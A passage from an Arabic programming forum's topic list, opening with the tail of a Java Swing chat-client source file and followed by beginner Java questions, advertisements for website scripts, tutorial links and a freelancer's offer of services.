getout.println(Tmessage.getText()); Tmessage.setText(""); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in sending the message....!!! "); } } class acceptread extends Thread{ public void run(){ while(true){ try{ message= getin.readLine(); if (message == null){ Messagerecu.append(servername+" say : Good bye"+ "\n"); break; } else{ Messagerecu.append(servername+" say : "+message+ "\n"); } }catch(Exception ex){ System.out.println(" Error in reading the message..!!"); } } }} /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Client().setVisible(true); } }); } private static String message; // Variables declaration - do not modify private javax.swing.JButton Btnconnecter; private javax.swing.JButton Btndeconnecter; private javax.swing.JButton Btnenvoyer; public static javax.swing.JTextArea Messagerecu; private javax.swing.JPanel PL1; private javax.swing.JPanel PL2; private javax.swing.JPanel PL3; private javax.swing.JTextField Tip; private javax.swing.JTextField Tmessage; private javax.swing.JTextField Tnom; private javax.swing.JTextField Tporte; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JScrollPane jScrollPane1; // End of variables declaration } وشكرا جزيلا لكم جميعا  بارك الله فيكم  Tpreseau.rar
  10. السلام عليكم   اخواني عندي سؤال   ماهو الكلاس و ماهو الكائن ؟     ارجوكم ساعدوني لم افهم شيئا في هذه المصطلحات       و جزاكم الله كل خير
  11. عادة لا الجا الى اعادة اختراع العجلة ، لكن القصة مع هذا السكربت كانت مختلفة حيث احببت ان اتحدى نفسي فبدأت من الصفر. وقد نجحت في ذلك قبل عام لكني ركنت السكربت ونسيته ، واليوم اضعه بين ايديكم للفائدة . بعد فك الضغظ عن المرفقات ارفع ملف قاعدة البياتات وازرعها كما كنا نقول ايام زمان وضع المجلد في السيرفر المحلي وااستمتع بانشاء اسئلة على كيفك ، بالنسبة للحجم الكبير للفونت فقد رفعت السكربت يوما ما الى موقعي واحببت انا اشاهد كيف يبدو على الجوال كأنه برنامج اندرويد فبقي الخط هكذا. افكر حاليا بالتقاعد وربما رفعت جميع سكربتاتي الاخرى لاتخلص من هم الاحتفاظ بها.   quiz-final.zip
  12. قدم لك كل ما تتمناه او كل ما يخطر في بالك من تصميم لموقعك الإلكتروني وبأفضل الآسعار فهدفنا ليس ربحي في هذا المجال. في YAZSYS نقدم لك  برامجنا الخاصة وليس كما هو الحال كباقي الشركات والتي تعتمد على برمجيات أجنبية معربة بل نحن نعمل على برمجة وتصميم الموقع لك بشكل خاص بما يتناسب وإحتياجاتك. يتوفر لدى Yazsys تطبيقات وسكربتات معدّة من قبل الفريق لهذا الخصوص كـ سكربت إدارة المحتوى CMD للمواقع الإخبارية والمدونات ومواقع التجارة ومواقع الشركات وموقع التواصل والمواقع الشخصية . حيث ان جميع المواقع يتم برمجتها من خلال أفضل وأسرع التقنيات وأكثرها حماية.       لقد قام فريق العمل بتطوير سكربت لإدارة المحتوى CMD متخصص لموقع (إخباري ، مدونة، مجلة، الخ) بتقنيات متطورة وبحماية عالية. ضمن المواصفات التالية: مواصفات عامة: - سرعة عالية للموقع. - تصميم وتركيب ودعم متواصل. -إمكانية التعديل والإضافة على الشكل والتصميم في أي وقت. - قاعدة بيانات SQL-Server - حماية عالية جداً مضاد للسبام لنظام التعليقات وصفحات الإرسال . - نسخة من الموقع للجوال تتناسب مع جميع انواع الموبايلات ويتم تحويل الزائر تلقائيا لها. مواصفات لوحة التحكم: - وجود كلمتان مرور (قابلة للزيادة) - تعقب دخول المحاولات الفاشلة. - نظام لإدارة الأقسام. - نظام لإدارة الأخبار. - نظام لإدارة المقالات. - نظام للإدارة الإعلانات. - نظام لأدارة الكُتاب. - نظام لإدارة الأخبار المرسلة. - نظام لإدارة المقالات المرسلة. - نظام لإدارة التعليقات وتفعيلها وإيقافها ... الخ. - نظام التحكم في الأخبار العاجلة ووقت ظهورها . - تحكم كامل في الموقع كإدارة السلايط والشريط المتحرك. - إحصاءات للموقع لكل خبر ولكل مقال. - اداة متطورة لإضافة محتويات الأخبار أقرب لمحرر النصوص (Word) - مكتبة للفيديو شاملة. - مكتبة الصور. وهناك الكثير من الميزات ...   مثال على السكربت  http://www.showmatt.com   للمزيد من التفاصيل وعرض صور لوحة التحكم من خلال الرابط التالي   http://yazsys.com/software_engineering_web.aspx   السعر 50 دولار فقط    
  13. أرجو المساعدة

    السلام عليكم أنا عملت برنامج جافا يعتمد على قاعدة بيانات sql server بعدين قررت أعملو ع قاعدة بيانات أكسس وعملت استيراد للقاعدة من sql server للأكسس ولما شغل البرنامج ع النتبينس يشتغل نظامي بس لما أعمل ملف jar للمشروع وشغلو تطلع البيانات بحروف ورموز غير معروفة أو مفهومة الرجاء المساعدة
  14. متجدد ... سكربت موقع إعلانات مبوبة مجاني مخصص لبلد واحد مع الدعم    يحتوي على عدة أمور أهمها  تسجيل الأعضاء تسجيل الدخول  اضافة اعلان بدون تسجيل إضافة أقسام تعديل الأقسام إضافة الخدمات  تعديل الخدمات التحكم بالأعضاء إرسال إيميل للعضو في حال تسجيله  قيد التطوير للموقع مع تحديثات متكاملة مع كل فترة مجانية  موقع الدعم بشكل مؤقت  تحميل السكربت : http://www.mediafire.com/download/vq4chdaxmaikbi1/adssyscript.rar تحميل قاعدة البيانات : http://www.mediafire.com/download/81j6rpysm3dc4vp/قاعدة البيانات.rar       مثيل عن السكربت      دروس الدعم الأولى وسيتم إلحاقها بعدة دروس وتحديثات    الدرس الأول  الثاني الثالث الرابع
  15. ايش المشكله

    package customer;import java.util.Scanner;public class Customer { public static void main(String[] args) {String customerr;int name;int adress;int phoneNumber;Scanner input=new Scanner(System.in);System.out.println("please enter your name");customerr=input.nextLine();name=input.nextInt();adress=input.nextInt();phoneNumber=input.nextInt();switch(customerr){ case "Ahmad": case "0555150055": System.out.println("Hello Ahmad ,you will get a 10% discount from the total payment"); System.out.println("total priceis: 3700 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );break; case "Mohammad Abdullah": case "0595911919": System.out.println("Hello Mohammad Abdullah,you will get a 10% discount from the total payment"); System.out.println("total priceis: 3600 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );break;default: System.out.println("Hello " +name+ "please complete you information"); System.out.println("you phone number :"+adress ); System.out.println("you phone number :"+phoneNumber ); System.out.println("total priceis: 3500 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );} }}السلام عليكم ورحمة الله وبركاته عندي برنامج بـ swich مايطلع لي error  ومو راضي يتنفذ ممكن تقولين لي ايش المشكله
  16. السلام عليكم   يعد هدا اول موضوع لي في المنتدى الدي استفدت منه كتيرا  ايام كنت طالب مهندس   و الان احب ان اقدم لكم كتاب مهم جدا لاحتراف الجافا   و ان شاء الله انا رهن الخدمة  في عالم الجافا   للتخميل   http://www.eyesfile.ca/c91oz454666e/Programer_Java_5_and_6.rar.html
  17. السلام عليكم لدي مشروع تخرج يعتمد على قراءة مجموعة من المدخلات عبر مدخل الفلاشة , كبداية كتبت هذا البرنامج لكني حصلت على خطاء , هل يمكنكم مساعدتي ؟   كود الجافا موجود في المرفقات ( البرنامج يعمل كمتنصت على مداخل الفلاش اذا كانت موصولة مع اجهزة ام لا )   الخطاء موجود في المرفقات , لقد تأكدت من صحة الكود بالاضافة الى تضمين المكتبات المطلوبة   شكرا لكم UsbListner.rar
  18. سكربت مبوبة من شركة كود ان كود هو عبارة عن موقع جاهز متخصص فى الاعلانات المبوبة المجانية حيث ان صاحب الموقع يقدم خدمة الاعلانات المبوبة المجانية للزوار وبالتالى يستفيد بقدر كبير من ادخال البيانات مجانا من الزوار بغرض الترويج لسلعتهم او منتجاتهم سواء كانت مستعملة او جديدة بغرض بيعها. أما بالنسبة لصاحب الموقع يستفيد من الربح من خلال الاعلانات التى يضعها على الموقع ومثال لهذه الاعلانات اعلانات جوجل ادسنس الشهيرة. وبالتالى يكون الموقع مصدر دخل لصاحبه من خلال تلك الاعلانات وفى نفس الوقت يقدم خدمة مجانية لزواره. وكلما زاد عدد زوار موقعك كلما زادت ارباحك مع العلم انه لا يوجد حد ادنى للربح ويمكن ان تصبح ثريا بسبب موقع خاص بك ولكن هذا ليس بالامر السهل ولكن ايضا ليس بالمستحيل. سكربت مبوبة يتمتع بخصائص عديدة ومفيدة لادارة موقعك لكى تمكنك من الاتى:ادارة الاعلانات التى ادخلها الزوار (الاعلانات المبوبة) من حيث تفعيلها بعد مراجعتها للنشر فى الموقع او تعديلها او حذفها. ادارة الاقسام الرئيسية والاقسام الفرعية للموقع مع امكانية اضافة عنوان و كلمات مفتاحية و وصف لكل قسم. انشاء حسابات للمشرفين لادارة الموقع معك. ادارة المدونة الخاصة بالموقع. ادارة الدول و المدن الموجودة فى القوائم المنسدلة داخل الموقع. مشاهدة الاعضاء المسجلين بالموقع. ادارة خصائص الموقع بالكامل. ادارة المساحات الاعلانية بالموقع. ادارة شعار الموقع و الايقونة الصغرى للمتصفح. ادارة حساب الفيس بوك و تويتر للموقع. ادارة كود الاحصائيات الخاص بجوجل. ادارة صفحات الشروط و سياسة الخصوصية. كما يتمتع سكربت مبوبة بروابط صديقة لمحركات البحث لتزيد من عدد زوارك من خلال البحث.سعر سكربت مبوبة 999 جنيه مصرى شامل استضافة مجانية لمدة عام بمساحة 1 جيجا + دومين مجانا من اختيارك التركيب مجانى خلال 24 ساعة من الشراء يمكنك الان الدفع عن طريق كاش يو (150 دولار)   مثال حى لسكربت مبوبة - موقع بيع واشترى سكربت مبوبة - اطلبه الان بالتوفيق 
  19. اليوم انا بدات اتعلم جافا ولدي استفسار حول ما سمعت ان الجافا انتها عصرها ولا يوجد لها اي تطوير او تحديث بسبب قيام شركة اوركيل بشراء شركة سن  ملخص الموضوع  هل شركة ولغة  جافا ستستمر واتابع التعلم    او اقوم  بالتحويل على لغة اخرى  وما هية الغة الممكن دراستها  مع الشكر الجزيل والرجاء الرد باسرع وقت للضرورة 
  20. لسلام عليكم ورحمة الله وبركاته مبرمج جافا متعاون لتقديم الحلول والدعم في المشاريع والبرامج في طور التنفيذ ، أملك العديد من المهارات في لغات البرمجة .   قادر على مساعدة الشركات الصغيرة والمتوسطة والكبيرة في إيجاد برامج تساعدها على التقدم في مجال عملها . ( البرامج الطبية ، البرامج المكتبية ، برامج الأعمال ، الربط مع الشركات .. وغيرها ) .   كذلك يوجد لدي برنامج أقساط سهل الاستخدام وخفيف لتنظيم العمل .   مع العلم أني متواجد في المملكة العربية السعودية ، الرياض  رقم الأتصال : 0596337099 من خارج المملكة : 00966596337099  الأيميل   : ( [email protected]
  21.   السلام عليكم ورحمة الله وبركاته    مرحباً بالجميع، رمضان مبارك عليكم      لأهمية إثراء المحتوى العربي، ولأجل مساعدة الكثيرين الذين أتقنوا أساسيات لغة جافا ويريدون إكمال مسيرتهم فيها    هذه سلسلة دروس برمجة واجهات المستخدم في جافا  أو مايعرف ب Graphical user interface ، وإختصار تدعى GUI  الدورة راح تكون على هذه القناة في اليوتيوب  http://www.youtube.com/user/AddDelta   سأطرح هنا الدروس حتى تعم الفائدة، وكذلك لمن أراد السؤال أو الإستفسار فأتشرف بالإجابة على الأسئلة هنا في هذا الموضوع أو في طرق التواصل الموجودة في الدروس. ملاحظات:  " جميع الدروس مرفوعة بدقة HD " "جميع الفيديوهات من إعدادي الشخصي "    نبدأ هذا الدورة مع أول الدروس :        1- المقدمة ومتطلبات الدورة    http://www.youtube.com/watch?v=MkkbK-cVvoE   * * 2-  أصناف الكلاسات الرسومية ومكتباتها، Event, Listener    http://www.youtube.com/watch?v=eeR-rK4S830   * * 3-  إنشاء أول إطار رسومي في جافا باستخدام JFrame    http://www.youtube.com/watch?v=jXQ5eBOlH4c   * * 4- إنشاء إطار رسومي بالطريقة الدارجة باستخدام الوراثة    http://www.youtube.com/watch?v=T5Wcy0d16wk     * * 5-  نظرة أولى على الكائنات JButton & JLabel    http://www.youtube.com/watch?v=McDRaqeOER0     سأكمل في الرد القادم بقية الدروس إن شاء الله      
  22. الاخوة مبرمجين الاندرويد : اريد كود للإتصال بقاعدة البيانات MYSQL عن طريق الجافا وياليت لو كود كيفية الاستعلام من قاعدة البيانات وعرض النتائج على الواجهة ..
  23. السلام عليكم ممكن تعطوني معلومات عن اجتياز امتحان جافا اوراكل داخل المغرب   و الثمن و شكرا !
  24. احيانا نضطر "ولســـــوء الحظ" الى استخدام أكثر من لغـــــة برمجية في عملنا من اجــــل برمجة تطبيق معين يخدم احتياجاتنا الخاصة , على سبيل المثال تم الحصول على برنامج كبير مكتوب مسبقا بلغة الدلفي وتم برمجة بعض مكوناته بالجافا بصورة مستقلة , بعدها دعت الضرورة الى استخدام .Net في المشروع لاكمال البقية بسبب صعوية الامر او عدم وجود الادوات والمكتبات اللازمة لتنفيذ ذلك في اللغات البرمجية السابقة   السؤال المهم الذي يطرحه نفسه , كيف يتم الربط بين هذه الاكواد وهل هناك حل بسيط وفعال يمكن ان يحل مشكلة تعدد اللغات البرمجية
  25. سكربت برمجته من فترة وجيزة وحابب اخذ رايكم فيه http://shabab-friends.tk/ طبعا تفعيل العضو عن طريق الادمن وليس الايميل وذلك لانك السيرفر المجاني لا يدعم خاصية ارسال الرسائل البريدية دمتم بود :)